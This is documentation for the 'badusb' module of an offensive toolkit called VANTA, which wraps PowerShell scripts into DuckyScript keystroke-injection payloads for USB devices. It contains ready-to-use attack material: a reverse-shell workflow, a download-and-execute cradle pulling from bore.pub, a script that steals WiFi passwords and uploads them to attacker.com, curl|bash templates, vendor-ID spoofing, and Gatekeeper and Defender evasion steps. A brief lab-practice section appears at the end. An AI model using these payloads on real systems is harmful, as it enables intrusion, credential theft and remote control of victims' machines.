badusb.

Overview

What badusb does

badusb takes a PowerShell .ps1 script, base64-encodes it, and wraps it inside a DuckyScript payload. When the USB device is inserted into a Windows machine it emulates a keyboard and types the entire attack sequence automatically: Win+R to open Run, launch PowerShell, then invoke certutil to decode and execute your payload in memory. No external tools are needed on the attack machine.

Compatible with USB Rubber Ducky (Hak5), O.MG Cable, DigiSpark, Raspberry Pi Zero (as HID), and any device that accepts DuckyScript payloads via an encoder. Output is a plain-text .txt file ready to flash.

Getting Started

Quick start

Basic — encode a PowerShell script

vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ run target

# Output: ~/.vanta/badusb/rev_badusb.txt

With metadata and slow-hardware delay

VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set title "Reverse Shell"
VANTA (badusb) ❯ set author "operator"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ set delay_after_ps 1200
VANTA (badusb) ❯ run target

How It Works

Attack flow

When the USB device is inserted, the DuckyScript is replayed as physical keystrokes. The sequence below takes approximately 3–5 seconds on a modern machine.

Reference

Parameters

Reference

Output format

Output is saved to ~/.vanta/badusb/<stem>_badusb.txt where <stem> is the input filename without extension. Example: input /tmp/rev.ps1 → output ~/.vanta/badusb/rev_badusb.txt.

Example DuckyScript output

REM Title: Reverse Shell
REM Author: operator
REM Target: Windows 10/11
REM Generated by VANTA badusb v0.0.1

DELAY 500
GUI r
DELAY 400
STRING powershell
ENTER
DELAY 1200
STRING certutil -decode C:\Windows\Temp\p.b64 C:\Windows\Temp\p.ps1
ENTER
DELAY 800
STRING powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\p.ps1
ENTER

The base64-encoded payload content replaces the C:\Windows\Temp\p.b64 step — in the actual output, the device writes the encoded content to a temp file first, then certutil decodes it in place.

Flash to device

Flash using the encoder appropriate for your device:

Usage

Examples

Generate a reverse shell payload

# Step 1: Generate a PowerShell reverse shell payload
vanta ❯ use revshell
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ set shell powershell
VANTA (revshell) ❯ run target
# → copy output to /tmp/rev.ps1

# Step 2: Encode for BadUSB
vanta ❯ use badusb
VANTA (badusb) ❯ set file_path /tmp/rev.ps1
VANTA (badusb) ❯ set delay_after_ps 1000
VANTA (badusb) ❯ run target
# → output: ~/.vanta/badusb/rev_badusb.txt — flash to device

# Step 3: Start listener, insert device into target
vanta ❯ use revshell
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ set ports 4444
VANTA (revshell) ❯ run target

Slow machine — increase delay

VANTA (badusb) ❯ set file_path /tmp/payload.ps1
VANTA (badusb) ❯ set delay_after_ps 2000  # 2 seconds for old/slow hardware
VANTA (badusb) ❯ run target

Full metadata output

VANTA (badusb) ❯ set file_path /tmp/recon.ps1
VANTA (badusb) ❯ set title "System Recon"
VANTA (badusb) ❯ set author "RedTeam"
VANTA (badusb) ❯ set ducky_lang true
VANTA (badusb) ❯ run target

Hardware

Supported hardware

Any device that accepts DuckyScript and emulates a USB HID keyboard works with badusb's output. The most common options:

Operational Security

OPSEC considerations

Detection risks

Internals

Architecture Deep Dive

This chapter explains exactly what happens at the USB and HID protocol layers when a BadUSB device is plugged in — from the USB enumeration handshake to individual keystroke bytes. It also covers how VANTA generates DuckyScript and how to write your own payloads.

Internals

USB Enumeration — What Happens When You Plug In

When any USB device is plugged in, the host OS performs a USB enumeration: a discovery protocol where the host queries the device for its capabilities. BadUSB exploits this process by presenting a HID (Human Interface Device) class descriptor — making the OS treat it as a keyboard.

## USB Enumeration sequence (full protocol)

1. Device connects → USB D+/D- lines signal presence
2. Host resets the device (SE0 condition for ≥10ms)
3. Host requests Device Descriptor (18 bytes):
   ┌──────────────────────────────────────────────────────┐
   │ bLength=18  bDescriptorType=0x01 (Device)           │
   │ bcdUSB=0x0200  (USB 2.0)                            │
   │ bDeviceClass=0x00  (class defined per interface)     │
   │ idVendor=0x05AC  idProduct=0x0221  (e.g., Apple KB) │
   │ bcdDevice=0x0100  iManufacturer iProduct iSerial     │
   │ bNumConfigurations=1                                 │
   └──────────────────────────────────────────────────────┘
   # BadUSB chooses VID:PID to match a trusted manufacturer
   # 0x05AC = Apple, 0x046D = Logitech, 0x045E = Microsoft

4. Host requests Configuration Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9   bDescriptorType=0x02 (Configuration)    │
   │ wTotalLength=34  bNumInterfaces=1                   │
   │ bConfigurationValue=1  iConfiguration=0             │
   │ bmAttributes=0xA0  bMaxPower=50 (100mA)             │
   └──────────────────────────────────────────────────────┘

5. Host reads Interface Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9   bDescriptorType=0x04 (Interface)        │
   │ bInterfaceNumber=0  bAlternateSetting=0             │
   │ bNumEndpoints=1  bInterfaceClass=0x03               │
   │                  ↑ 0x03 = HID class!                │
   │ bInterfaceSubClass=0x01  (boot interface subclass)  │
   │ bInterfaceProtocol=0x01  (keyboard protocol)        │
   └──────────────────────────────────────────────────────┘

6. Host reads HID Descriptor:
   ┌──────────────────────────────────────────────────────┐
   │ bLength=9  bDescriptorType=0x21 (HID)               │
   │ bcdHID=0x0110  (HID spec 1.10)                      │
   │ bCountryCode=0x00  bNumDescriptors=1                │
   │ bDescriptorType=0x22  wDescriptorLength=63          │
   │ ↑ Report Descriptor follows (63 bytes)              │
   └──────────────────────────────────────────────────────┘

7. Host reads HID Report Descriptor — tells OS the report format:
   06 00 FF   # Usage Page (Generic Desktop)
   09 01      # Usage (Pointer)
   ...
   # For a keyboard, the report descriptor defines:
   # - 1 byte: modifier keys (Shift, Ctrl, Alt, GUI)
   # - 1 byte: reserved
   # - 6 bytes: keycodes (up to 6 simultaneous)

8. Host assigns device address, installs HID driver
   → OS now treats device as keyboard — zero user interaction required

Internals

HID Report Descriptor — Defining the Keyboard Format

The HID Report Descriptor is a variable-length byte array that tells the host exactly what format the device's reports use. For a standard keyboard, the reference descriptor is:

## Standard USB keyboard HID Report Descriptor (hexdump + annotation)
05 01     Usage Page (Generic Desktop Controls)
09 06     Usage (Keyboard)
A1 01     Collection (Application)
  05 07  Usage Page (Keyboard/Keypad)
  19 E0  Usage Minimum (0xE0 = Left Control)
  29 E7  Usage Maximum (0xE7 = Right GUI)
  15 00  Logical Minimum (0)
  25 01  Logical Maximum (1)
  75 01  Report Size (1 bit)
  95 08  Report Count (8)   ← 8 × 1-bit = 1 modifier byte
  81 02  Input (Data, Variable, Absolute)   ← modifier bits

  95 01  Report Count (1)
  75 08  Report Size (8 bits)
  81 01  Input (Constant)   ← 1 reserved byte (always 0x00)

  95 06  Report Count (6)
  75 08  Report Size (8 bits)
  15 00  Logical Minimum (0)
  25 DD  Logical Maximum (0xDD = 221)
  05 07  Usage Page (Keyboard)
  19 00  Usage Minimum (0)
  29 DD  Usage Maximum (221)
  81 00  Input (Data, Array)   ← 6 keycode bytes

C0       End Collection

## Total report size: 1 (modifier) + 1 (reserved) + 6 (keycodes) = 8 bytes
## This matches the HID report format VANTA sends: A1 01 [mod] [00] [k1..k6]

Internals

DuckyScript — Command Reference and Encoding

DuckyScript is a simple scripting language designed for USB Rubber Ducky. VANTA's badusb module generates DuckyScript payloads. Here is the complete command reference with exactly what each command translates to at the HID report level.

How VANTA Encodes Your PowerShell as DuckyScript

## Input: your PowerShell script (payload.ps1)
IEX (New-Object Net.WebClient).DownloadString('http://bore.pub:38521/shell.ps1')

## Step 1: VANTA base64-encodes the script
import base64
encoded = base64.b64encode(open("payload.ps1","rb").read()).decode()
# Result: "SUVY..."  (standard base64)

## Step 2: VANTA wraps in certutil decode command
cmd = f'echo {encoded} > %TEMP%\p.b64 && certutil -decode %TEMP%\p.b64 %TEMP%\p.ps1 && powershell -ep bypass -File %TEMP%\p.ps1'

## Step 3: VANTA generates DuckyScript
DELAY 1000
GUI r
DELAY 600
STRING powershell -w hidden
ENTER
DELAY 800
STRING {cmd}
ENTER
DELAY 200

## The DELAY values are the delay_after_ps parameter
## For slow machines (old hardware, cold boot): increase to 2000ms
## For fast machines (modern SSD, already booted): 500-800ms is fine

Writing Your Own Payload From Scratch

## Example: exfiltrate WiFi passwords via DuckyScript (Windows)
DELAY 1000
GUI r
DELAY 600
STRING cmd /k
ENTER
DELAY 800

## Export all WiFi profiles with passwords to a file, then upload
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j & netsh wlan show profiles %j key=clear 2>nul | findstr "Key Content" >> %TEMP%\wifi.txt
ENTER
DELAY 500

## Upload via curl (present on Windows 10+)
STRING curl -s -X POST -F "f=@%TEMP%\wifi.txt" https://attacker.com/upload
ENTER
DELAY 500

## Cleanup
STRING del %TEMP%\wifi.txt
ENTER
STRING exit
ENTER

Extend

Customization & Extension

Adding a New Delivery Template

# badusb.py — DELIVERY_TEMPLATES dict
# Each template is a function(payload_b64, params) → DuckyScript string

def template_linux_xterm(payload_b64: str, params: dict) -> str:
    """Deliver payload on Linux desktop via xterm."""
    delay = params.get("delay_after_ps", 1000)
    return f"""DELAY 1000
CTRL ALT t
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER
DELAY 500"""

def template_macos_terminal(payload_b64: str, params: dict) -> str:
    """Deliver payload on macOS via Terminal."""
    delay = params.get("delay_after_ps", 1200)
    return f"""DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY {delay}
STRING echo {payload_b64} | base64 -d | bash
ENTER"""

DELIVERY_TEMPLATES = {
    "windows": template_windows_certutil,   # existing default
    "linux":   template_linux_xterm,        # yours
    "macos":   template_macos_terminal,     # yours
}

# Usage: set template linux

Targeting macOS — Key Differences

## macOS DuckyScript differences vs Windows

GUI key    → macOS uses CMD (not Win/Meta) for system shortcuts
             GUI SPACE → Spotlight search
             GUI r     → does NOT open Run dialog (that's Windows)

ALT F4     → macOS: CMD Q (quit application)

## macOS keyboard shortcuts for opening terminal:
GUI SPACE → type "terminal" → ENTER   (Spotlight)
CTRL ALT t → does not work on macOS (that's Linux GNOME default)

## macOS payload delivery — avoid certutil (not present):
## Use base64 built-in (available on all macOS):
STRING echo PAYLOAD_B64 | base64 --decode | bash

## Or use curl (always present):
STRING curl -s http://bore.pub:38521/shell.sh | bash

## Security note: macOS Gatekeeper may block the downloaded file
## piping directly to bash bypasses Gatekeeper (no file written to disk)

Study

Learning Path & Resources

BadUSB combines USB hardware, HID protocol knowledge, and scripting. Build each layer from scratch.

Step 1: USB and HID Basics

Step 2: Hands-On Labs

Step 3: PowerShell and Windows Internals

Step 4: Deep Reference

Practice Path

## Progression: from generating your first payload to custom delivery

Week 1: Generate and Understand
  Run: badusb with your test payload.ps1
  Read: the generated DuckyScript output line by line
  Trace: each command in the DuckyScript internals section
  Goal: understand every byte before any hardware touches a computer

Week 2: Test in a VM
  Setup: Windows 10 VM (use Windows 10 evaluation ISO — free 90 days)
  Manually: paste the DuckyScript key sequence using AutoHotkey
  Verify: the payload executes correctly in the VM
  Debug: if it fails, identify which DELAY needs to be longer

Week 3: Hardware
  Order: DigiSpark ATTiny85 ($3-5)
  Flash: your badusb payload via Arduino IDE
  Test: in your own Windows 10 VM only
  Observe: the full attack from plug-in to shell

Week 4: Evasion
  Read: LOLBAS project — find certutil alternatives
  Modify: the delivery template to use certutil alternatives
  Test: does Windows Defender flag the new approach?
  Document: your findings (this is bug bounty / red team report material)